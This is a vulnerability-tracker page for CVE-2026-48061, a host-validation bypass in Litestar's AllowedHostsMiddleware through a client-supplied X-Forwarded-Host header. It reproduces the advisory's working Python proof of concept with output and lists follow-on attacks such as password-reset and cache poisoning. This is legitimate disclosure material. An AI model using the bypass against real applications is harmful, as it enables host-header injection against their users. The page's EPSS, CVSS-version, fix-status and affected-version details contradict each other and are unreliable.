CVE-2026-48061

MEDIUMPre-NVD 5.95.9
EchelonGraph scoreLOW confidence

This medium-severity CVE scores 5.9 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.0%, top 93% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
5.9
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS: 0%CVSS: 5.9Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Litestar: AllowedHostsMiddleware bypasses host validation via client-controlled X-Forwarded-Host header

Summary

AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the Host header and supplying an X-Forwarded-Host header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.

Details

In AllowedHostsMiddleware.__call__, the host value used for validation is resolved as follows:

https://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68

headers = MutableScopeHeaders(scope=scope)
if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]:
    if self.allowed_hosts_regex.fullmatch(host):
        await self.app(scope, receive, send)
        return

When Host is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to X-Forwarded-Host without any verification that the request actually passed through a trusted reverse proxy.

An attacker can send a request with no Host header and set X-Forwarded-Host to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.

This is particularly dangerous when applications use the resolved host value for:

  • Generating password reset links (Host header injection → link points to attacker domain)
  • Cache key generation (cache poisoning)
  • Routing or backend selection decisions

PoC

"""
PoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0

Affected: litestar/middleware/allowed_hosts.py:68 -> headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0] """

import asyncio from litestar import Litestar, get from litestar.config.allowed_hosts import AllowedHostsConfig from litestar.testing import TestClient

@get("/") async def index() -> dict: return {"status": "ok"}

app = Litestar( route_handlers=[index], allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]), )

--- 1. Baseline: invalid host is blocked ---

with TestClient(app=app) as c: resp = c.get("/", headers={"host": "evil.com"}) assert resp.status_code == 400 print(f"[*] Host: evil.com -> {resp.status_code} (blocked)")

--- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---

async def test_bypass(): scope = { "type": "http", "method": "GET", "path": "/", "root_path": "", "scheme": "http", "query_string": b"", "headers": [ # No "host" header — only x-forwarded-host (b"x-forwarded-host", b"trusted.example.com"), ], "server": ("testserver", 80), "app": app, "litestar_app": app, "state": {}, }

captured = {}

async def receive(): return {"type": "http.request", "body": b""}

async def send(message): if message["type"] == "http.response.start": captured["status"] = message["status"]

await app(scope, receive, send) return captured["status"]

status = asyncio.run(test_bypass()) print(f"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)") assert status == 200, f"Expected 200, got {status}" print(f"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host")

Output:

[*] Host: evil.com -> 400 (blocked)
[*] No Host + X-Forwarded-Host: trusted.example.com -> 200 (bypassed)
[!] AllowedHosts check passed using client-controlled X-Forwarded-Host

Impact

This is a host validation bypass vulnerability. Any application using AllowedHostsConfig is affected when deployed without a reverse proxy that strips X-Forwarded-Host, or when accepting HTTP/1.0 connections.

An attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to:

  • Password reset poisoning: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain
  • Cache poisoning: cached responses keyed on the host value can be polluted with attacker-controlled content
  • Routing manipulation: backend routing decisions based on host value can be influenced

CVSS v3
5.9
EG Score
5.9(low)
EPSS
7.1%
KEV
Not listed

Published

June 10, 2026

Last Modified

June 10, 2026

Vendor Advisories for CVE-2026-48061(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
PyPI(1)
PackageVulnerable rangeFixed inDependents
litestar1.0.0a0 ... 2.9.1 (62 versions)2.22.0

Data Freshness Timeline

(refreshed 6× in last 7d / 30× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-07 03:31 UTCEG score recompute
  2. 2026-07-05 11:10 UTCEG score recompute
  3. 2026-07-04 11:40 UTCEG score recompute
  4. 2026-07-03 07:59 UTCEG score recompute
  5. 2026-07-02 07:17 UTCEG score recompute
  6. 2026-07-01 07:58 UTCEG score recompute
  7. 2026-06-30 08:52 UTCEG score recompute
  8. 2026-06-29 09:46 UTCEG score recompute
  9. 2026-06-28 10:27 UTCEG score recompute
  10. 2026-06-27 11:20 UTCEG score recompute
  11. 2026-06-26 12:14 UTCEG score recompute
  12. 2026-06-25 07:06 UTCEG score recompute
  13. 2026-06-24 07:58 UTCEG score recompute
  14. 2026-06-23 08:38 UTCEG score recompute
  15. 2026-06-22 09:29 UTCEG score recompute
  16. 2026-06-21 10:05 UTCEG score recompute
  17. 2026-06-20 10:31 UTCEG score recompute
  18. 2026-06-19 11:21 UTCEG score recompute
  19. 2026-06-18 12:12 UTCEG score recompute
  20. 2026-06-17 13:05 UTCEG score recompute
  21. 2026-06-16 13:59 UTCEG score recompute
  22. 2026-06-15 14:46 UTCEG score recompute
  23. 2026-06-14 23:18 UTCEPSS rescore
  24. 2026-06-14 15:40 UTCEG score recompute
  25. 2026-06-13 23:00 UTCEPSS rescore
Show 5 more
  1. 2026-06-13 16:35 UTCEG score recompute
  2. 2026-06-12 23:12 UTCEPSS rescore
  3. 2026-06-12 17:29 UTCEG score recompute
  4. 2026-06-11 18:22 UTCEG score recompute
  5. 2026-06-10 19:17 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-48061?
CVE-2026-48061 is a medium vulnerability published on June 10, 2026. Litestar: AllowedHostsMiddleware bypasses host validation via client-controlled X-Forwarded-Host header Summary AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, an attacker can bypass the…
When was CVE-2026-48061 disclosed?
CVE-2026-48061 was first published in the National Vulnerability Database on June 10, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-48061 actively exploited?
CVE-2026-48061 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 7.1% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-48061?
CVE-2026-48061 has a CVSS v4.0 base score of 5.9 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-48061?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-48061, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-48061

Explore →

Is Your Infrastructure Affected by CVE-2026-48061?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.